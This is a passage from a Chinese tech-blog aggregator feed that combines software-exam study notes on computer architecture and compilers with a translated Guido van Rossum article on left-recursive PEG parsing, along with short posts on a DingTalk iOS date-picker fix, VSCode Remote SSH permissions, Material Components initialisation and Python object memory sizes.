3、设备管理

4、文件管理

5、用户管理


操作系统类型

1、单用户系统:一台处理机只支持一个用户程序

2、批处理系统:用户将一批作业提交给操作系统后就不再干预,有操作系统控制它们自动运行,人机不交互。

3、分时操作系统:把处理机的运行时间分成很短的时间片,按时间片轮流把处理机分配给各联机作业使用。

4、网络操作系统:一种在通常操作系统功能的基础上提供网络通信和网络服务功能的操作系统。

5、分布式操作系统:以计算机网络为基础的,将物理上分布的具有自治功能的数据处理系统或计算机系统互联起来的操作系统。

6、嵌入式操作系统:运行在嵌入式智能芯片环境中,对整个智能芯片以及它所操作、控制的各种部件装置等资源进行统一协调、处理、指挥和控制。


进程

进行资源分配和调度的基本单位。进程通常游程序、数据集合、进程控制块PCB组成。

为了描述和控制进程的运行,系统为每个进程定义了一个数据结构——进程控制块(PCB)。它是进程重要的组成部分,它记录了操作系统所需的用于描述进程的当前状态和控制进程的全部信息。操作系统就是根据进程的PCB来感知进程的存在,并以此对进程进行管理和控制。PCB是进程存在的唯一标识。

未标题-1.jpg

PV操作

P操作:

1、将信号量S的值减1,即S=S-1;

2、如果S>=0,则该进程继续执行;否则该进程置为等待状态。

V操作:

1、将信号量S的值加1,即S=S+1;

2、如果S<0该进程继续执行;否则说明有等待队列中有等待进程,需要唤醒等待进程。


by 西枫里 at September 06, 2019 02:06 PM

pythoncat

Python 之父的解析器系列之五:左递归 PEG 语法

原题 | Left-recursive PEG grammars
作者 | Guido van Rossum(Python之父)
译者 | 豌豆花下猫(“Python猫”公众号作者)
声明 | 本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动。
我曾几次提及左递归是一块绊脚石,是时候去解决它了。基本的问题在于:使用递归下降解析器时,左递归会因堆栈溢出而导致程序终止。
【这是我的 PEG 系列的第 5 部分。其它文章参见这个目录
假设有如下的语法规则:
expr: expr '+' term | term
如果我们天真地将它翻译成递归下降解析器的片段,会得到如下内容:
def expr():
    if expr() and expect('+') and term():
        return True
    if term():
        return True
    return False
也就是expr() 以调用expr() 开始,后者也以调用expr() 开始,以此类推……这只能以堆栈溢出而结束,抛出异常RecursionError
传统的补救措施是重写语法。在之前的文章中,我已经这样做了。事实上,上面的语法也能识别出来,如果我们重写成这样:
expr: term '+' expr | term
但是,如果我们用它生成一个解析树,那么解析树的形状会有所不同,这会导致破坏性的后果,比如当我们在语法中添加一个'-' 运算符时(因为a - (b - c)(a - b) - c 不一样)。
这通常可以使用更强大的 PEG 特性来解决,例如分组和迭代,我们可以将上述规则重写为:
expr: term ('+' term)*
实际上,这正是 Python 当前语法在 pgen 解析器生成器上的写法(pgen 与左递归规则具有同样的问题)。
但是这仍然存在一些问题:因为像'+''-' 这样的运算符,基本上是二进制的(在 Python 中),当我们解析像a + b + c 这样的东西时,我们必须遍历解析的结果(基本上是列表[‘a’,’+’,‘b’,’+’,‘c’] ),以构造一个左递归的解析树(类似于 [[‘a’,’+’,‘b’] ,’+’,‘c’] )。
原始的左递归语法已经表诉了所需的关联性,因此,如果我们可以直接以该形式生成解析器,那将会很好。我们可以!一位粉丝向我指出了一个很好的技巧,还附带了一个数学证明,很容易实现。我会试着在这里解释一下。
让我们考虑输入foo + bar + baz 作为示例。我们想要解析出的解析树对应于(foo + bar)+ baz 。这需要对expr() 进行三次左递归调用:一次对应于顶级的“+” 运算符(即第二个); 一次对应于内部的“+”运算符(即第一个); 还有一次是选择第二个备选项(即term )。
由于我不善于使用计算机绘制实际的图表,因此我将在此使用 ASCII 技巧作演示:
expr------------+------+
  |              \      \
expr--+------+   '+'   term
  |    \      \          |
expr   '+'   term        |
  |            |         |
term           |         |
  |            |         |
'foo'        'bar'     'baz'
我们的想法是希望在 expr() 函数中有一个“oracle”(译注:预言、神谕,后面就不译了),它要么告诉我们采用第一个备选项(即递归调用 expr()),要么是第二个(即调用 term())。在第一次调用 expr() 时,“oracle”应该返回 true; 在第二次(递归)调用时,它也应该返回 true,但在第三次调用时,它应该返回 false,以便我们可以调用 term()。
在代码中,应该是这样:
def expr():
    if oracle() and expr() and expect('+') and term():
        return True
    if term():
        return True
    return False
我们该怎么写这样的“oracle”呢?试试看吧…我们可以尝试记录在调用堆栈上的 expr() 的(左递归)调用次数,并将其与下面表达式中“+” 运算符的数量进行比较。如果调用堆栈的深度大于运算符的数量,则应该返回 false。
我几乎想用sys._getframe() 来实现它,但有更好的方法:让我们反转调用的堆栈!
这里的想法是我们从 oracle 返回 false 处调用,并保存结果。这就有了expr()->term()->'foo' 。(它应该返回初始的term 的解析树,即'foo' 。上面的代码仅返回 True,但在本系列第二篇文章中,我已经演示了如何返回一个解析树。)很容易编写一个 oracle 来实现,它应该在首次调用时就返回 false——不需要检查堆栈或向前回看。
然后我们再次调用expr() ,这时 oracle 会返回 true,但是我们不对 expr() 进行左递归调用,而是用前一次调用时保存的结果来替换。瞧呐,预期的'+' 运算符及随后的term 也出现了,所以我们将会得到foo + bar
我们重复这个过程,然后事情看起来又很清晰了:这次我们会得到完整表达式的解析树,并且它是正确的左递归((foo + bar)+ baz )。
然后我们再次重复该过程,这一次,oracle 返回 true,并且前一次调用时保存的结果可用,没有下一步的’+’ 运算符,并且第一个备选项失效。所以我们尝试第二个备选项,它会成功,正好找到了初始的 term(‘foo’)。与之前的调用相比,这是一个糟糕的结果,所以在这里我们停止并留下最长的解析(即(foo + bar)+ baz )。
为了将其转换为实际的工作代码,我首先要稍微重写代码,以将 oracle() 的调用与左递归的 expr() 调用相结合。我们称之为oracle_expr() 。代码:
def expr():
    if oracle_expr() and expect('+') and term():
        return True
    if term():
        return True
    return False
接着,我们将编写一个实现上述逻辑的装饰器。它使用了一个全局变量(不用担心,我稍后会改掉它)。oracle_expr() 函数将读取该全局变量,而装饰器操纵着它:
saved_result = None
def oracle_expr():
    if saved_result is None:
        return False
    return saved_result
def expr_wrapper():
    global saved_result
    saved_result = None
    parsed_length = 0
    while True:
        new_result = expr()
        if not new_result:
            break
        new_parsed_length = <calculate size of new_result>
        if new_parsed_length <= parsed_length:
            break
        saved_result = new_result
        parsed_length = new_parsed_length
    return saved_result
这过程当然是可悲的,但它展示了代码的要点,所以让我们尝试一下,将它发展成我们可以引以为傲的东西。
决定性的洞察(这是我自己的,虽然我可能不是第一个想到的)是我们可以使用记忆缓存而不是全局变量,将一次调用的结果保存到下一次,然后我们不需要额外的oracle_expr() 函数——我们可以生成对 expr() 的标准调用,无论它是否处于左递归的位置。
为了做到这点,我们需要一个单独的 @memoize_left_rec 装饰器,它只用于左递归规则。它通过将保存的值从记忆缓存中取出,充当了 oracle_expr() 函数的角色,并且它包含着一个循环调用,只要每个新结果所覆盖的部分比前一个长,就反复地调用 expr()。
当然,因为记忆缓存分别按输入位置和每个解析方法来处理缓存,所以它不受回溯或多个递归规则的影响(例如,在玩具语法中,我一直使用 expr 和 term 都是左递归的)。
我在第 3 篇文章中创建的基础结构的另一个不错的属性是它更容易检查新结果是否长于旧结果:mark() 方法将索引返回到输入的标记符数组中,因此我们可以使用它,而非上面的parsed_length 。
我没有证明为什么这个算法总是有效的,不管这个语法有多疯狂。那是因为我实际上没有读过那个证明。我看到它适用于玩具语法中的 expr 等简单情况,也适用于更复杂的情况(例如,涉及一个备选项里可选条目背后藏着的左递归,或涉及多个规则之间的相互递归),但在 Python 的语法中,我能想到的最复杂的情况仍然相当温和,所以我可以信任于定理和证明它的人。
所以让我们坚持干,并展示一些真实的代码。
首先,解析器生成器必须检测哪些规则是左递归的。这是图论中一个已解决的问题。我不会在这里展示算法,事实上我将进一步简化工作,并假设语法中唯一的左递归规则就是直接左递归的,就像我们的玩具语法中的 expr 一样。然后检查左递归只需要查找以当前规则名称开头的备选项。我们可以这样写:
def is_left_recursive(rule):
    for alt in rule.alts:
        if alt[0] == rule.name:
            return True
    return False
现在我们修改解析器生成器,以便对于左递归规则,它能生成一个不同的装饰器。回想一下,在第 3 篇文章中,我们使用 @memoize 修饰了所有的解析方法。我们现在对生成器进行一个小小的修改,对于左递归规则,我们替换成 @memoize_left_rec ,然后我们在memoize_left_rec 装饰器中变魔术。生成器的其余部分和支持代码无需更改!(然而我不得不在可视化代码中捣鼓一下。)
作为参考,这里是原始的 @memoize 装饰器,从第 3 篇中复制而来。请注意,self 是一个Parser 实例,它具有 memo 属性(用空字典初始化)、mark() 和 reset() 方法,用于获取和设置 tokenizer 的当前位置:
def memoize(func):
    def memoize_wrapper(self, *args):
        pos = self.mark()
        memo = self.memos.get(pos)
        if memo is None:
            memo = self.memos[pos] = {}
        
        key = (func, args)
        if key in memo:
            res, endpos = memo[key]
            self.reset(endpos)
        else:
            res = func(self, *args)
            endpos = self.mark()
            memo[key] = res, endpos
        return res
    return memoize_wrapper
@memoize 装饰器在每个输入位置记住了前一调用——在输入标记符的(惰性)数组的每个位置,有一个单独的memo 字典。memoize_wrapper 函数的前四行与获取正确的memo 字典有关。
这是 @memoize_left_rec 。只有 else 分支与上面的 @memoize 不同:
    def memoize_left_rec(func):
    def memoize_left_rec_wrapper(self, *args):
        pos = self.mark()
        memo = self.memos.get(pos)
        if memo is None:
            memo = self.memos[pos] = {}
        key = (func, args)
        if key in memo:
            res, endpos = memo[key]
            self.reset(endpos)
        else:
            # Prime the cache with a failure.
            memo[key] = lastres, lastpos = None, pos
            # Loop until no longer parse is obtained.
            while True:
                self.reset(pos)
                res = func(self, *args)
                endpos = self.mark()
                if endpos <= lastpos:
                    break
                memo[key] = lastres, lastpos = res, endpos
            res = lastres
            self.reset(lastpos)
        return res
    return memoize_left_rec_wrapper
它很可能有助于显示生成的 expr() 方法,因此我们可以跟踪装饰器和装饰方法之间的流程:
    @memoize_left_rec 
    def expr(self):
        pos = self.mark()
        if ((expr := self.expr()) and
            self.expect('+') and
            (term := self.term())):
            return Node('expr', [expr, term])
        self.reset(pos)
        if term := self.term():
            return Node('term', [term])
        self.reset(pos)
        return None
让我们试着解析 foo + bar + baz
每当你调用被装饰的 expr() 函数时,装饰器就会“拦截”调用,它会在当前位置查找前一个调用。在第一个调用处,它会进入 else 分支,在那里它重复地调用未装饰的函数。当未装饰的函数调用 expr() 时,这当然指向了被装饰的版本,因此这个递归调用会再次被截获。递归在这里停止,因为现在 memo 缓存有了命中。
接下来呢?初始的缓存值来自这行:
            # Prime the cache with a failure.
            memo[key] = lastres, lastpos = None, pos
这使得被装饰的 expr() 返回 None,在那 expr() 里的第一个 if 会失败(在expr := self.expr() )。所以我们继续到第二个 if,它成功识别了一个 term(在我们的例子中是 ‘foo’),expr 返回一个 Node 实例。它返回到了哪里?到了装饰器里的 while 循环。这新的结果会更新 memo 缓存(那个 node 实例),然后开始下一个迭代。
再次调用未装饰的 expr(),这次截获的递归调用返回新缓存的 Node 实例(一个 term)。这是成功的,调用继续到 expect(’+’)。这再次成功,然后我们现在处于第一个“+” 操作符。在此之后,我们要查找一个 term,也成功了(找到 ‘bar’)。
所以对于空的 expr(),目前已识别出 foo + bar ,回到 while 循环,还会经历相同的过程:用新的(更长的)结果来更新 memo 缓存,并开启下一轮迭代。
游戏再次上演。被截获的递归 expr() 调用再次从缓存中检索新的结果(这次是 foo + bar),我们期望并找到另一个 ‘+’(第二个)和另一个 term(‘baz’)。我们构造一个 Node 表示 (foo + bar) + baz ,并返回给 while 循环,后者将它填充进 memo 缓存,并再次迭代。
但下一次事情会有所不同。有了新的结果,我们查找另一个 ’+’ ,但没有找到!所以这个expr() 调用会回到它的第二个备选项,并返回一个可怜的 term。当走到 while 循环时,它失望地发现这个结果比最后一个短,就中断了,将更长的结果((foo + bar)+ baz )返回给原始调用,就是初始化了外部 expr() 调用的地方(例如,一个 statement() 调用——此处未展示)。
到此,今天的故事结束了:我们已经成功地在 PEG(-ish)解析器中驯服了左递归。至于下周,我打算论述在语法中添加“动作”(actions),这样我们就可以为一个给定的备选项的解析方法,自定义它返回的结果(而不是总要返回一个 Node 实例)。
如果你想使用代码,请参阅GitHub仓库。(我还为左递归添加了可视化代码,但我并不特别满意,所以不打算在这里给出链接。)
本文内容与示例代码的授权协议:CC BY-NC-SA 4.0
作者简介: Guido van Rossum,Python 的创造者,一直是“终身仁慈独裁者”,直到 2018 年 7 月 12 日退位。目前,他是新的最高决策层的五位成员之一,依然活跃在社区中。本文出自他在 Medium 开博客所写的解析器系列,该系列仍在连载中,每周日更新。
译者简介: 豌豆花下猫,生于广东毕业于武大,现为苏漂程序员,有一些极客思维,也有一些人文情怀,有一些温度,还有一些态度。公众号:「Python猫」(python_cat)。

September 06, 2019 12:00 AM

September 05, 2019

anji66

[软考]程序设计语言基础

程序设计语言的基本概念

1、低级语言:0、1组成的机器指令序列或汇编语言

2、高级语言:java、c、c++、Python、Delphi、PASCAL

3、编译程序:将源程序翻译成目标语言程序,然后再计算机上运行目标程序。

4、解释程序:直接解释或翻译成中间代码。不生成独立的目标程序。


编译程序基本原理

1、词法分析阶段:输入源程序,对构成源程序的字符串进行扫描和分解,识别出一个个单词,删掉无用的信息,报告分析时的错误。

2、语法分析阶段:语法分析器以单词符号作为输入,分析单词符号是否形成符合语法规则的语法单位,如表达式、赋值、循环等,按语法规则分析检查每条语句是否有正确的逻辑结构。

3、语义分析阶段:主要检查源程序是否存在静态语义错误,并收集类型信息供后面的代码生成阶段使用,如:赋值语句的右端和左端的类型不匹配。表达式的除数是否为零等。

4、中间代码是源程序的一种内部表示,或称中间语言。中间代码的作用是使编译程序的结构在逻辑上更为简单明确。使用中间代码可提高编译程序的可移植性,常见的有逆波兰记号、四元式、三元式和树。

5、中间代码优化和目标代码生成

6、符号表管理——记录符号的信息

7、出错处理——静态错误(语法错误、静态语义错误)、动态错误


文法

文法G定义为一个四元组(VN,VT,P,S),其中,VN为非终结符集合,VT终结符集合;P是产生式结合;S称为识别符或开始符号,也是一个非终结符,至少要在一条产生式的左边出现。

0型文法:短语文法、图灵机、递归枚举

1型文法:上下文有关文法

2型文法:上下文无关文法(广泛使用)

3型文法:正规式


有限自动机

计算机控制系统的控制程序具有有限状态自动机(FA)的特征,可以用有限状态机理论来描述。

未标题-2.jpg


by 西枫里 at September 05, 2019 12:58 PM

钉钉H5微应用日历组件IOS不能唤起

原本遇到的问题是ios上触发不了onclick事件。简单检索一番就找到了答案,只需要在相应的控件上加上样式cursor:pointer即可。原因是非点击元素上绑定了点击事件,IOS不能识别,所以在元素加个样式就可以了。

carbon.jpg


在IOS上无法唤起钉钉日期&月历组件的原因

微应用上一个字段需要输入日期,所以直接把钉钉日期控件加载了,测试的时候,安卓一切正常,会弹一个浮层出来显示完整的日历,也美观。到了IOS上却不行了,无法弹出日历。然后就去看了钉钉文档。明明是支持的,就奇怪了。因为日历组件我是通过click触发的,所以很容易想到是不是IOS无法触发click事件的问题,所以就有了前面这个办法。然后自感不对,因为input原本就是可点击元素。问题不在这里,直到下班无解。晚上回家,翻手机的时候,无意间发现安卓上面的日历浮层下面弹出了键盘。因为安卓的日期是浮层显示的,所以键盘完全没影响。再去看钉钉文档上的示例图显示IOS的是日期选择器,并且和键盘弹出方式一样,该不会被键盘挡住了吧。


解决办法

简单测试一般,用div标签替换了input,很明确就是被键盘遮挡了日期选择器。所以改造一下input的输入即可。钉钉日期组件是回调一个日期的,所以通过jquery将结果写回input的方式操作。那就简单了,把input设为readonly熟悉。这样就无法触发焦点,IOS也就不弹键盘了,但是还有个问题,就是input置灰了,不知道的以为不能输入,用户体验不好,所以再给input加个样式background-color:#ffffff的样式即可。


by 西枫里 at September 05, 2019 12:46 AM

2heng

VSCode Remote SSH: Bad Owner or Permissions

Windows 10 自带了 OpenSSH 工具包(C:\Windows\System32\OpenSSH\),但是用私钥连接的时候老是出现 Bad owner or permissions on C:\\Users\\username/.ssh/config。而 Visual Studio Code 的插件 Remote SSH 就要依赖 ssh,所以看到了同样的报错。

Windows 的权限体系和 Linux 不太一样,反正我是没搞懂。尝试了官方文档里的 PowerShell 指令,并没有作用(详见我的提交的 Issue)。还瞄到一个 Issue,搞不好和我用的是 Windows 10 Home 有关(电脑预装的就是 Home,我才不加钱升 Pro 呢)。

然后我发现 VSCode Remote SSH 有一个选项 remote.SSH.path,这里可以指定要使用的 SSH 可执行文件,那我复制一个 C:\Windows\System32\OpenSSH\ 下的 ssh.exe 到电脑的普通目录不就行了?改完立刻连上了。

PS. 可以顺便把配置文件也到改成自己的路径(remote.SSH.configFile)。

The post VSCode Remote SSH: Bad Owner or Permissions appeared first on 樱花庄的白猫.

by Mashiro at September 05, 2019 12:28 AM

September 04, 2019

anji66

[软考]计算机系统基础——存储系统

内存编址:存储器由一块块的空间(存储单元)组成,为了方便寻找到每一块空间,我们需要对每一个空间进行标识。

内存容量:存储器的大小。内存容量=每个芯片容量*芯片个数。每个芯片容量=一个地址代表的容量*编址总数。

数据总线:计算机一次处理n位的数据,则数据总线的长度为n。注意的是,数据总线的长度并不一定代表一个地址的长度。

字:和数据总线紧密相关。数据总线有几位,则一个字就有多少位组成。如64位计算机,表示一次可以处理64位数据,则1个字就是64位。

地址总线:假如需要n位二进制数来表示所有的地址,则地址总线的个数为n。

Cache:在CPU的所有操作中,访问内存是最频繁的操作。由于一般微机中的主存储器的工作速度比CPU低一个数量级,加上CPU的所有访问都要通过总线这个瓶颈,所以缩短存储器的访问时间是提高计算机速度的关键。采用在CPU喝内存之间加高速缓冲存储器cache的办法较好的解决的这一问题。简单来说cache是为了解决高速运行的CPU和主存储器之间速度不匹配的问题。

未标题-1.jpg

未标题-2.jpg

未标题-3.jpg

cache的性能:CPU在访问内存时,首先判断所要访问的内容是否在cache中,如果在,就成为“命中”,此时CPU直接从cache中调用该内容;否则就成为“不命中”,CPU只好去内存中调用所需的子程序或指令了。CPU不但可以直接从cache中读出内容,也可以直接往其中写入内容。由于cache的存取速度相当快,使得CPU的利用率大大提高,进而使整个系统的性能得以提升。如果以Hc为代表对caceh的访问命中率,tc为cache的存取时间,tm为主存的访问时间,则cache的平均访问时间ta=Hctc+(1-Hc)tm

写策略:因为cache的内容是部分主存内容的副本,应该与主存内容保持一致,而CPU对cache的写入更改了cache的内容,如何与主存内容保持一致就有几种操作工作方式可供选择

1、写回法(write——back)

当CPU对cache写命中时,只修改cache的内容不立即写入主存,只当此行被换出时才写回主存。这种策略使cache在CPU和主存之间不仅在读方向而且在写方向上都起到高速缓存作用。

2、写直达法(write——through)

又称全写法,写透。是当cache写命中时,cache与主存同时发生写修改。

3、标记法

数据进入cache后,有效位置1,当CPU对该数据修改时,数据只写入主存并将该有效位置0。要从cache中读取数据时要测试其有效位,若为1则直接从cache中读取,否则从主存中读取。


磁盘存储器结构:

未标题-4.jpg


总线:总线(Bus)是计算机各种功能部件之间传送信息的公共通信干线。

按照总线相对应CPU或其他芯片的位置可分为:

1、内部总线:寄存器之间和算数逻辑不见ALU与控制不见之间传输数据所用的总线。

2、外部总线:CPU与内存和I/O设备接口之间的通讯


by 西枫里 at September 04, 2019 02:56 PM

September 03, 2019

anji66

[软考]计算机系统基础——指令控制方式

一、顺序方式。各条机器指令之间顺序穿行的执行,执行完一条指令后才取下一条指令。缺点是速度慢,机器各部件利用率低。

未标题-1.jpg

二、重叠方式。在解释第K条指令的操作完成之前就可以开始解释第K+1条指令。

未标题-2.jpg

三、流水线方式。

未标题-3.jpg

1、流水线周期:执行时间最长的一段

2、吞吐率和最大吞吐率:吞吐率是指单位内流水线处理机流出的结果数。对指令而言就是单位时间内执行的指令数。

3、流水线加速比:不使用流水线执行时间/使用流水线执行时间


by 西枫里 at September 03, 2019 12:30 PM

2heng

MDC 自动初始化

尝试了 material-components-web 提供的自动初始化方法 mdc-auto-init,感觉要是分别给每个 HTML 标签做标记的话比较繁琐,所以自己写了一个初始化方法。

思路是,把要用到的 node 和 constructor 都写在一个配置文件里面(其实就是一个 list 而已),然后初始化函数遍历配置,并完成相应的构建。

// ./components/mdcConf.ts

// 记得先导入需要用到的包
import { MDCRipple } from '@material/ripple';
import { MDCTextField } from '@material/textfield';
import { MDCTopAppBar } from '@material/top-app-bar';

// 下面是配置,很容易理解吧
const Conf = [
    ['.mdc-top-app-bar', MDCTopAppBar],
    ['.mdc-text-field', MDCTextField],
    [
        [
            '.mdc-button',
            '.primary-action',
        ],
        MDCRipple
    ],
]

export default Conf
// ./components/mdcInit.ts

import mdcConf from "./mdcConf"

const Conf = mdcConf

/** 
 * 初始化函数
 * 参考 <https://git.io/JegHJ>
 */
export default function () {
    let components = []
    for (const i of Conf) {
        if (typeof (i[0]) == 'string') {
            const component = i[0]
            const constructor = i[1]
            components.map.call(document.querySelectorAll(component), function (e: any) {
                return new constructor(e)
            })
        } else if (typeof (i[0]) == 'object') {
            const component = i[0].join(',')
            const constructor = i[1]
            components.map.call(document.querySelectorAll(component), function (e: any) {
                return new constructor(e)
            })
        }
    }
}

最后在需要的地方调用初始化函数就行了!

// ./index.ts
import mdcInit from "./components/mdcInit"

window.onload = function () {
  mdcInit()
}

The post MDC 自动初始化 appeared first on 樱花庄的白猫.

by Mashiro at September 03, 2019 08:04 AM

September 02, 2019

anji66

[软考]计算机系统基础——校验码

一、码距的概念

一个编码系统的码距就是整个编码系统中任意两个码字的最小距离。若一个编码系统有四种编码分别为:0000,0011,1100,1111,此编码系统中0000与1111的码距为4;0000与0011的码距为2,是此编码系统的最小码距。因此该系统的码距为2。

1、在一个码组内为了检测e个误码,要求最小码距应该满足:d>=e+1

2、在一个码组内为了纠正t个误码,要求最小码距应该满足:d>=2t+1

3、在一个码组内同时纠错检错,要求最小码距应该满足:d>=e+t+1


例:假如现在要对A、B两个字母进行编码。可以选用不同长度的编码,以产生不同码距的编码,分析它们的检错纠错能力。

1、若用1位长度的二进制编码。A=1,B=0。这样A、B之间的最小码距为1。合法码:{0,1};非法码:{0,1};

2、若采用2位长度的二进制编码,可选用11,00作为合法编码,也可以选用01,10作为合法编码。若A=11,B=00为例,A、B之间最小码距为2.合法码:{11,00};非法码:{01,10}。

3、若用3位长度的二进制编码,可选用111,000作为合法编码。A、B之间最小码距为3。合法码:{111,000};非法码:{001,010,011,100,101,110}。


二、奇偶校验

只能检测代码中奇数位出错的编码,但不能发现偶数位出错的情况。


三、海明码

海明码的校验码的位置必须是2ⁿ位置(n从0开始,代表从左边数起分别是第1、2、4、8、16、32....),信息码也就是在非2n位置。

设数据位是n位,校验位是k位,则n和k必须满足一下关系:2k≥n+k+1


四、循环冗余校验码CRC


by 西枫里 at September 02, 2019 02:12 PM

September 01, 2019

anji66

[软考]计算机系统基础——数据表示

计算机中的执行指令读取数据都是通过二进制数来实现的,十进制通常是人所使用的,而内存编制又是十六进制的,所以掌握各个进制的转换对了解计算机基础异常重要。


一、十进制数的表示

未标题-1.jpg


二、十进制转为二进制

十进制转二进制使用除二取余法,如86转换为二进制数为

86/2余0

43/2余1

21/2余1

10/2余0

5/2余1

2/2余0

1

将余数从下往上排列,即可得到:1010110


三、二进制转为八进制

二进制转八进制时,从右开始,每三位为一组,不够三位的补0即可,如11101001转换为八进制为

011   101   001

8421码:

6432168421




001




101




011

采用8421码,很容易得出结果为351


四、二进制转为十六进制

二进制转十六进制,每四位为一组,不够四位的补0,如11101001转换为十六进制为

1110   1001

6432168421



1001



1110

采用8421码,很容易得出结果为E9


五、原反补移码

原反补移码是指采用8bit的二进制

未标题-2.jpg


by 西枫里 at September 01, 2019 12:40 PM

August 31, 2019

anji66

[软考]计算机系统基础——计算机组成

这是个软考中级(软件设计师)的系列学习笔记,大概一天一更,持续2个月左右。啥是软考?即计算机技术与软件专业技术资格考试,分成高级,中级,初级。这是个职称考试,计算机类职称是以考代评的。高级考出来就是高级工程师,中级考出来就是工程师,初级考出来是助理工程师。职称有啥用?我考的目的跟留在魔都有关。根据目前上海的落户政策,居住证满7年,取得中级以上职称,无犯罪记录的可以参加落户排队(大概2016年55W人排队,不足3W人成功落户)。虽然渺茫,就跟买彩票似的,可是不还是得买吗?


一、计算机的组成

未标题-1.jpg

未标题-2.jpg


二、CPU的功能:

    1、程序控制功能。CPU通过执行指令来控制程序的执行顺序。

    2、操作控制

    3、时间控制

    4、数据处理。CPU最根本的任务。

三、CPU的组成

    1、运算器,也称算数逻辑单元。完成各种算数运算和逻辑运算

        a、算数逻辑单元ALU:数据的算数运算和逻辑运算

        b、累加寄存器AC:通用寄存器,为ALU提供一个工作区,用在暂存数据

        c、数据缓存寄存器DR:写内存时,暂存指令或数据

        d、状态条件寄存器PSW:存储状态标志与控制标志。


    2、控制器,控制器是分析和执行指令的不见,也是统一指挥并控制计算机各不见协调工作的中心部件。

        a、程序计数器PC:存储下一条要执行指令的地址

        b、指令寄存器IR:存储即将执行的指令

        c、指令译码器ID:对指令中的操作码字段进行分析解释

        d、地址寄存器AR:用来保存CPU所访问的内存单元的地址。

        e、时序不见:提供时序控制信号


四、Flynn分类

    非冯诺依曼式的分类方法Flynn分类:根据指令流、数据流的多倍性特征对计算机系统进行分类。    

    指令流:指机器执行的指令序列。

    数据流:指由指令调用的数据序列,包括输入数据和中间结果,但不包括输出数据源。

    

    1、单指令流单数据流(SISD):就是传统的顺序执行的单处理器计算机,其指令部件每次只对一条指令进行译码,并支队一个操作部件分配数据

    2、单指令流多数据流(SIMD):以并行处理机(矩阵处理器)为代表,并行处理机包括多个重复的处理单元,由单一指令部件控制,按照同一指令流的要求为它们分配各自所需的不同数据。

    3、多指令流单数据流(MISD):具有n个处理单元,按n条不同指令的要求对同一数据流及其中间结果进行不同的处理。一个处理单元的输出又作为另一个处理单元的输入。这类系统实际上很少见到。

    4、多指令流多数据流(MIMD):指能实现作业、任务、指令等各级全面并行的多机系统,如多核处理器、多处理机属于MIMD


五、指令系统   

    1、复杂指令系统(CISC)的特点:

        a、指令数量众多。指令系统拥有大量的指令,通常有100-250条。

        b、指令使用频率相差悬殊。最常用的是一些比较简单的指令,仅占指令总数的20%,但在程序中出现的频率却占80%。多大部分复杂指令却很少使用。

        c、支持很多种寻址方式。支持的寻址方式通常为5-20种。

        d、变长的指令。指令长度不是固定的,变长的指令增加指令译码电路的复杂性。


    2、精简指令系统(RISC)的特点:

        a、指令数量少,优先选取使用频率最高的一些简单指令和一些常用指令。避免使用复杂指令。只提供了LOAD(从存储器中读数)和STOREBA (把数据写入存储器)两条指令对存储器操作,其余所有的操作都在CPU喝寄存器之间进行。

        b、指令的寻址方式少。通常只支持寄存器寻址方式、立即数寻址方式和相对寻址方式。

        c、指令长度固定,指令格式种类少。因为RISC指令数量少、格式少、相对简单,其指令长度固定,指令之间各字段的划分比较一致,译码相对容易。

        d、以硬布线逻辑控制为主。为了提高操作的执行速度,通常采用硬布线逻辑来构建控制器。

        e、但指令执行方式,采用流水线技术。因为简化了指令系统,很容易利用流水线技术,使得大部分指令都能在一个机器周期内完成。少数指令可能会需要多周期,例如,LOAD/STORE指令因为需要访问存储器,其执行时间就会长一些。

        f、优化的编译器:RISC的精简指令集使编译工作简单化。因为指令长度固定、格式少、寻址方式少,编译时不必在具有相似功能的许多指令中进行选择,也不必为寻址方式的选择而费心,同时易于实现优化,从而可以生成高效率执行的机器代码。

        g、CPU中的通用寄存器数量多,一般在32个以上,有的可达上百个。


by 西枫里 at August 31, 2019 01:32 PM

pythoncat

Python 内存分配时的小秘密

Python 中的sys 模块极为基础而重要,它主要提供了一些给解释器使用(或由它维护)的变量,以及一些与解释器强交互的函数。
本文将会频繁地使用该模块的getsizeof() 方法,因此,我先简要介绍一下:
  • 该方法用于获取一个对象的字节大小(bytes)
  • 它只计算直接占用的内存,而不计算对象内所引用对象的内存
这里有个直观的例子:
import sys

a = [1, 2]
b = [a, a]  # 即 [[1, 2], [1, 2]]

# a、b 都只有两个元素,所以直接占用的大小相等
sys.getsizeof(a) # 结果:80
sys.getsizeof(b) # 结果:80
上例说明了一件事:一个静态创建的列表,如果只包含两个元素,那它自身占用的内存就是 80 字节,不管其元素所指向的对象是什么。
好了,拥有这把测量工具,我们就来探究一下 Python 的内置对象都藏了哪些小秘密吧。

1、空对象不是“空”的!

对于我们熟知的一些空对象,例如空字符串、空列表、空字典等等,不知道大家是否曾好奇过,是否曾思考过这些问题:空的对象是不是不占用内存呢?如果占内存,那占用多少呢?为什么是这样分配的呢?
直接上代码吧,一起来看看几类基本数据结构的空对象的大小:
import sys
sys.getsizeof("")      # 49
sys.getsizeof([])      # 64
sys.getsizeof(())      # 48
sys.getsizeof(set())   # 224
sys.getsizeof(dict())  # 240

# 作为参照:
sys.getsizeof(1)       # 28
sys.getsizeof(True)    # 28
可见,虽然都是空对象,但是这些对象在内存分配上并不为“空”,而且分配得还挺大(记住这几个数字哦,后面会考)。
排一下序:基础数字<空元组 < 空字符串 < 空列表 < 空集合 < 空字典。
这个小秘密该怎么解释呢?
因为这些空对象都是容器,我们可以抽象地理解:它们的一部分内存用于创建容器的骨架、记录容器的信息(如引用计数、使用量信息等等)、还有一部分内存则是预分配的。

2、内存扩充不是均匀的!

空对象并不为空,一部分原因是 Python 解释器为它们预分配了一些初始空间。在不超出初始内存的情况下,每次新增元素,就使用已有内存,因而避免了再去申请新的内存。
那么,如果初始内存被分配完之后,新的内存是怎么分配的呢?
import sys
letters = "abcdefghijklmnopqrstuvwxyz"

a = []
for i in letters:
    a.append(i)
    print(f'{len(a)}, sys.getsizeof(a) = {sys.getsizeof(a)}')
    
b = set()
for j in letters:
    b.add(j)
    print(f'{len(b)}, sys.getsizeof(b) = {sys.getsizeof(b)}')

c = dict()
for k in letters:
    c[k] = k
    print(f'{len(c)}, sys.getsizeof(c) = {sys.getsizeof(c)}')
分别给三类可变对象添加 26 个元素,看看结果如何:
由此能看出可变对象在扩充时的秘密:
  • 超额分配机制: 申请新内存时并不是按需分配的,而是多分配一些,因此当再添加少量元素时,不需要马上去申请新内存
